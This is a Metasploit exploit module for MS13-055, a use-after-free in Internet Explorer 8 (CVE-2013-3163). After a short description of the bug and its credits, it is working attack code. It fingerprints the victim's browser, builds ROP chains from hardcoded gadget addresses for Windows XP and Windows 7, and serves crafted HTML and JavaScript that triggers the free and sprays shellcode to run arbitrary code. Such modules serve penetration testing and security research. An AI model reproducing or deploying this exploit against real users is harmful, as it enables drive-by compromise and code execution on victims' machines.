MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
      'Description'    => %q{
        In IE8 standards mode, it's possible to cause a use-after-free condition by first
        creating an illogical table tree, where a CPhraseElement comes after CTableRow,
        with the final node being a sub table element. When the CPhraseElement's outer
        content is reset by using either outerText or outerHTML through an event handler,
        this triggers a free of its child element (in this case, a CAnchorElement, but
        some other objects apply too), but a reference is still kept in function
        SRunPointer::SpanQualifier. This function will then pass on the invalid reference
        to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
        make a call to the object's SecurityContext virtual function at offset +0x70, which
        results a crash. An attacker can take advantage of this by first creating an
        CAnchorElement object, let it free, and then replace the freed memory with another
        fake object. Successfully doing so may allow arbitrary code execution under the
        context of the user.

        This bug is specific to Internet Explorer 8 only. It was originally discovered by
        Jose Antonio Vazquez Gonzalez and reported to iDefense, but was discovered again
        by Orange Tsai at Hitcon 2013.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jose Antonio Vazquez Gonzalez', # Original discovery reported from iDefense
          'Orange Tsai',                   # Rediscovery, published at Hitcon 2013
          'Peter Vreugdenhil',             # Joins the party (wtfuzz)
          'sinn3r'                         # Joins the party
        ],
      'References'     =>
        [
          [ 'CVE', '2013-3163' ],
          [ 'OSVDB', '94981' ],
          [ 'MSB', 'MS13-055'  ],
          [ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'IE 8 on Windows XP SP3',
            {
              'Rop'   => :msvcrt,
              'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
              'Align' => 0x77c4d801  # add esp, 0x2c; ret
            }
          ],
          [
            'IE 8 on Windows 7',
            {
              'Rop'   => :jre,
              'Pivot' => 0x7c348b05, # xchg eax, esp; ret
              'Align' => 0x7C3445F8  # add esp, 0x2c; ret
            }
          ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Privileged'     => false,
      # Bug was patched in July 2013. Tsai was the first to publish the bug.
      # But Jose already reported way back in Oct 2012 (to iDefense)
      'DisclosureDate' => '2013-07-09',
      'DefaultTarget'  => 0))
  end

  def get_target(agent)
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '6.1'
      os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        return t
      end
    end

    nil
  end

  def get_payload(t)
    if t['Rop'] == :msvcrt
      print_status("Using msvcrt ROP")
      esp_align = "\x81\xc4\x54\xf2\xff\xff"
      rop_dll = 'msvcrt'
      opts    = {'target'=>'xp'}
    else
      print_status("Using JRE ROP")
      esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
      rop_dll = 'java'
      opts    = {}
    end

    p = esp_align + payload.encoded + rand_text_alpha(12000)
    generate_rop_payload(rop_dll, p, opts)
  end

  def get_html(t, p)
    junk       = rand_text_alpha(4).unpack("V")[0].to_i
    js_pivot   = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
    js_payload = Rex::Text.to_unescape(p)
    js_align   = Rex::Text.to_unescape([t['Align']].pack("V*"))
    js_junk    = Rex::Text.to_unescape([junk].pack("V*"))

    q_id = Rex::Text.rand_text_alpha(1)

    %Q|
<!DOCTYPE html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
  <head>
    <meta>
      <?IMPORT namespace="t" implementation="#default#time2">
    </meta>
  </head>
  <script>
    #{js_mstime_malloc}

    window.onload = function() {
      var x	= document.getElementById("#{q_id}");
      x.outerText = "";
      a = document.getElementById('myanim');

      p = '';
      for (i=0; i < 7; i++) {
        p += unescape("#{js_junk}");
      }
      p += unescape("#{js_payload}");

      fo = unescape("#{js_align}");
      for (i=0; i < 28; i++) {
        if (i == 27) { fo += unescape("#{js_pivot}"); }
        else         { fo += unescape("#{js_align}"); }
      }

      fo += p;

      mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
    }
  </script>
    <table>
    <tr>
    <div>
    <span>
    <q id='#{q_id}'>
    <a>
    <td></td>
    </a>
    </q>
    </span>
    </div>
    </tr>
    </table>
  <t:ANIMATECOLOR id="myanim"/>
</html>
    |
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    t = get_target(agent)

    if t
      p = get_payload(t)
      html = get_html(t, p)
      print_status("Sending exploit...")
      send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
    else
      print_error("Not a suitable target: #{agent}")
      send_not_found(cli)
    end
  end
end